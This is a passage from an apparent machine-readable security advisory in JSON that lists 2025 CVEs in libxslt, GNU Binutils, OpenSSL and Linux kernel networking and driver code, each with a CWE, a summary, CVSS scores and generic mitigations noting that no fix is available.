            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-5245"
    },
    {
      "cve": "CVE-2025-7425",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-7425"
    },
    {
      "cve": "CVE-2025-7545",
      "cwe": {
        "id": "CWE-116",
        "name": "Improper Encoding or Escaping of Output"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability classified as problematic was found in GNU Binutils 2.45. Affected by this vulnerability is the function copy_section of the file binutils/objcopy.c. The manipulation leads to heap-based buffer overflow. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The patch is named 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944. It is recommended to apply a patch to fix this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-7545"
    },
    {
      "cve": "CVE-2025-7546",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability, which was classified as problematic, has been found in GNU Binutils 2.45. Affected by this issue is the function bfd_elf_set_group_contents of the file bfd/elf.c. The manipulation leads to out-of-bounds write. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The name of the patch is 41461010eb7c79fee7a9d5f6209accdaac66cc6b. It is recommended to apply a patch to fix this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-7546"
    },
    {
      "cve": "CVE-2025-8224",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability has been found in GNU Binutils 2.44 and classified as problematic. This vulnerability affects the function bfd_elf_get_str_section of the file bfd/elf.c of the component BFD Library. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The name of the patch is db856d41004301b3a56438efd957ef5cabb91530. It is recommended to apply a patch to fix this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-8224"
    },
    {
      "cve": "CVE-2025-9230",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: An application trying to decrypt CMS messages encrypted using\npassword based encryption can trigger an out-of-bounds read and write.\n\nImpact summary: This out-of-bounds read may trigger a crash which leads to\nDenial of Service for an application. The out-of-bounds write can cause\na memory corruption which can have various consequences including\na Denial of Service or Execution of attacker-supplied code.\n\nAlthough the consequences of a successful exploit of this vulnerability\ncould be severe, the probability that the attacker would be able to\nperform it is low. Besides, password based (PWRI) encryption support in CMS\nmessages is very rarely used. For that reason the issue was assessed as\nModerate severity according to our Security Policy.\n\nThe FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this\nissue, as the CMS implementation is outside the OpenSSL FIPS module\nboundary.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-9230"
    },
    {
      "cve": "CVE-2025-21638",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: auth_enable: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, but that would\nincrease the size of this fix, while \u0027sctp.ctl_sock\u0027 still needs to be\nretrieved from \u0027net\u0027 structure.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21638"
    },
    {
      "cve": "CVE-2025-21639",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: rto_min/max: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, as this is the only\nmember needed from the \u0027net\u0027 structure, but that would increase the size\nof this fix, to use \u0027*data\u0027 everywhere \u0027net-\u003esctp.rto_min/max\u0027 is used.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21639"
    },
    {
      "cve": "CVE-2025-21640",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: cookie_hmac_alg: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, as this is the only\nmember needed from the \u0027net\u0027 structure, but that would increase the size\nof this fix, to use \u0027*data\u0027 everywhere \u0027net-\u003esctp.sctp_hmac_alg\u0027 is\nused.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21640"
    },
    {
      "cve": "CVE-2025-21647",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\nsched: sch_cake: add bounds checks to host bulk flow fairness counts",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21647"
    },
    {
      "cve": "CVE-2025-21648",
      "cwe": {
        "id": "CWE-789",
        "name": "Memory Allocation with Excessive Size Value"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: conntrack: clamp maximum hashtable size to INT_MAX\r\n\r\nUse INT_MAX as maximum size for the conntrack hashtable. Otherwise, it\r\nis possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when\r\nresizing hashtable because __GFP_NOWARN is unset. See:\r\n\r\n  0708a0afe291 (\"mm: Consider __GFP_NOWARN flag for oversized kvmalloc() calls\")\r\n\r\nNote: hashtable resize is only possible from init_netns.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21648"
    },
    {
      "cve": "CVE-2025-21653",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net_sched: cls_flow: validate TCA_FLOW_RSHIFT attribute",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21653"
    },
    {
      "cve": "CVE-2025-21664",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "dm thin: make get_first_thin use rcu-safe list first function",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21664"
    },
    {
      "cve": "CVE-2025-21666",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "vsock: prevent null-ptr-deref in vsock_has_data|has_space",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21666"
    },
    {
      "cve": "CVE-2025-21669",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "vsock/virtio: discard packets if the transport changes",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21669"
    },
    {
      "cve": "CVE-2025-21678",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "gtp: Destroy device along with udp socket\u0027s netns dismantle",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21678"
    },
    {
      "cve": "CVE-2025-21683",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Fix bpf_sk_select_reuseport() memory leak",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21683"
    },
    {
      "cve": "CVE-2025-21692",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: fix ets qdisc OOB Indexing\n\nHaowei Yan \u003cg1042620637@gmail.com\u003e found that ets_class_from_arg() can\nindex an Out-Of-Bound class in ets_class_from_arg() when passed clid of\n0. The overflow may cause local privilege escalation.\n\n [   18.852298] ------------[ cut here ]------------\n [   18.853271] UBSAN: array-index-out-of-bounds in net/sched/sch_ets.c:93:20\n [   18.853743] index 18446744073709551615 is out of range for type \u0027ets_class [16]\u0027\n [   18.854254] CPU: 0 UID: 0 PID: 1275 Comm: poc Not tainted 6.12.6-dirty #17\n [   18.854821] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n [   18.856532] Call Trace:\n [   18.857441]  \u003cTASK\u003e\n [   18.858227]  dump_stack_lvl+0xc2/0xf0\n [   18.859607]  dump_stack+0x10/0x20\n [   18.860908]  __ubsan_handle_out_of_bounds+0xa7/0xf0\n [   18.864022]  ets_class_change+0x3d6/0x3f0\n [   18.864322]  tc_ctl_tclass+0x251/0x910\n [   18.864587]  ? lock_acquire+0x5e/0x140\n [   18.865113]  ? __mutex_lock+0x9c/0xe70\n [   18.866009]  ? __mutex_lock+0xa34/0xe70\n [   18.866401]  rtnetlink_rcv_msg+0x170/0x6f0\n [   18.866806]  ? __lock_acquire+0x578/0xc10\n [   18.867184]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10\n [   18.867503]  netlink_rcv_skb+0x59/0x110\n [   18.867776]  rtnetlink_rcv+0x15/0x30\n [   18.868159]  netlink_unicast+0x1c3/0x2b0\n [   18.868440]  netlink_sendmsg+0x239/0x4b0\n [   18.868721]  ____sys_sendmsg+0x3e2/0x410\n [   18.869012]  ___sys_sendmsg+0x88/0xe0\n [   18.869276]  ? rseq_ip_fixup+0x198/0x260\n [   18.869563]  ? rseq_update_cpu_node_id+0x10a/0x190\n [   18.869900]  ? trace_hardirqs_off+0x5a/0xd0\n [   18.870196]  ? syscall_exit_to_user_mode+0xcc/0x220\n [   18.870547]  ? do_syscall_64+0x93/0x150\n [   18.870821]  ? __memcg_slab_free_hook+0x69/0x290\n [   18.871157]  __sys_sendmsg+0x69/0xd0\n [   18.871416]  __x64_sys_sendmsg+0x1d/0x30\n [   18.871699]  x64_sys_call+0x9e2/0x2670\n [   18.871979]  do_syscall_64+0x87/0x150\n [   18.873280]  ? do_syscall_64+0x93/0x150\n [   18.874742]  ? lock_release+0x7b/0x160\n [   18.876157]  ? do_user_addr_fault+0x5ce/0x8f0\n [   18.877833]  ? irqentry_exit_to_user_mode+0xc2/0x210\n [   18.879608]  ? irqentry_exit+0x77/0xb0\n [   18.879808]  ? clear_bhb_loop+0x15/0x70\n [   18.880023]  ? clear_bhb_loop+0x15/0x70\n [   18.880223]  ? clear_bhb_loop+0x15/0x70\n [   18.880426]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n [   18.880683] RIP: 0033:0x44a957\n [   18.880851] Code: ff ff e8 fc 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 8974 24 10\n [   18.881766] RSP: 002b:00007ffcdd00fad8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\n [   18.882149] RAX: ffffffffffffffda RBX: 00007ffcdd010db8 RCX: 000000000044a957\n [   18.882507] RDX: 0000000000000000 RSI: 00007ffcdd00fb70 RDI: 0000000000000003\n [   18.885037] RBP: 00007ffcdd010bc0 R08: 000000000703c770 R09: 000000000703c7c0\n [   18.887203] R10: 0000000000000080 R11: 0000000000000246 R12: 0000000000000001\n [   18.888026] R13: 00007ffcdd010da8 R14: 00000000004ca7d0 R15: 0000000000000001\n [   18.888395]  \u003c/TASK\u003e\n [   18.888610] ---[ end trace ]---",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21692"
    },
    {
      "cve": "CVE-2025-21694",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/proc: fix softlockup in __read_vmcore (part 2)\n\nSince commit 5cbcb62dddf5 (\"fs/proc: fix softlockup in __read_vmcore\") the\nnumber of softlockups in __read_vmcore at kdump time have gone down, but\nthey still happen sometimes.\n\nIn a memory constrained environment like the kdump image, a softlockup is\nnot just a harmless message, but it can interfere with things like RCU\nfreeing memory, causing the crashdump to get stuck.\n\nThe second loop in __read_vmcore has a lot more opportunities for natural\nsleep points, like scheduling out while waiting for a data write to\nhappen, but apparently that is not always enough.\n\nAdd a cond_resched() to the second loop in __read_vmcore to (hopefully)\nget rid of the softlockups.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21694"
    },
    {
      "cve": "CVE-2025-21704",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "usb: cdc-acm: Check control transfer buffer size before access",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21704"
    },
    {
      "cve": "CVE-2025-21711",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/rose: prevent integer overflows in rose_setsockopt()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21711"
    },
    {
      "cve": "CVE-2025-21719",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipmr: do not call mr_mfc_uses_dev() for unres entries",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
